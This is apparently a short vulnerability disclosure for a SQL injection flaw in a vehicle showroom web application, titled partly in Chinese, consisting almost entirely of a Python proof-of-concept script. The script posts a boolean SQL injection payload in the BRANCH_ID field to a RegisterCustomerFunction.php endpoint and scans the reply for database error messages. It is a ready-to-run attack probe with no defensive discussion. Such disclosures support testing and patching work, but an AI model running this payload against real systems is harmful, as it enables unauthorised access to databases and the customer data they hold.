CVE-2026-6038: Vehicle Showroom系统SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target.com/util/RegisterCustomerFunction.php" # SQL Injection Payload to test vulnerability # This payload attempts to perform a simple boolean-based injection check payload = { "BRANCH_ID": "1' AND 1=1-- -" } try: # Send POST request with the malicious payload response = requests.post(target_url, data=payload) # Check if the response indicates a successful injection or database error if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text[:500]) # Print first 500 chars to analyze output # Further validation logic would go here (e.g., checking for specific SQL errors) if "syntax error" in response.text.lower() or "mysql" in response.text.lower(): print("[!] Potential SQL Injection vulnerability detected via database error message.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")